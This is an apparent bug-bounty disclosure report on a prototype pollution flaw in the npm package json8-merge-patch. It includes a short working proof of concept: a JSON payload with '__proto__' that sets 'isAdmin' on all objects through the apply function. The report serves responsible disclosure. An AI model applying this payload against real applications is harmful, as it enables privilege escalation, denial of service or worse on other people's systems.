Node.js third-party modules · Report #980649
[json8-merge-patch] Prototype Pollution
How it was found
I would like to report a Prototype Pollution vulnerability in json8-merge-patch
The apply function fails to restrict access to prototypes of objects, allowing for modification of prototype behavior.
Module
module name: json8-merge-patch
version: v1.0.1
npm page: https://www.npmjs.com/package/json8-merge-patch
Module Description
JSON Merge Patch RFC 7396 toolkit for JavaScript.
Module Stats
Weekly downloads: 517
Vulnerability
Vulnerability Description
The apply function fails to restrict access to prototypes of objects, allowing for modification of prototype behavior, which may allow obtaining sensitive information/DoS/RCE.
Steps To Reproduce:
-
Install
json8-merge-patchmodulenpm i json8-merge-patch -
create a file
poc.jswith content :
let json8mergepatch = require("json8-merge-patch");
var obj = {}
console.log("Before : " + obj.isAdmin);
json8mergepatch.apply(obj, JSON.parse('{ "__proto__": { "isAdmin": true }}'));
console.log("After : " + obj.isAdmin);
- Execute using:
node poc.js
Output:
Before: undefined After: true
Supporting Material/References:
- OPERATING SYSTEM VERSION: Windows 10
- NODEJS VERSION: v12.18.3
- NPM VERSION: 6.14.6
Wrap up
- I contacted the maintainer to let them know: [Y]
- I opened an issue in the related repository: [Y]
Ref: https://github.com/sonnyp/JSON8/issues/113
Impact
Can result in sensitive information disclosure/DoS/RCE. (depends on implementation)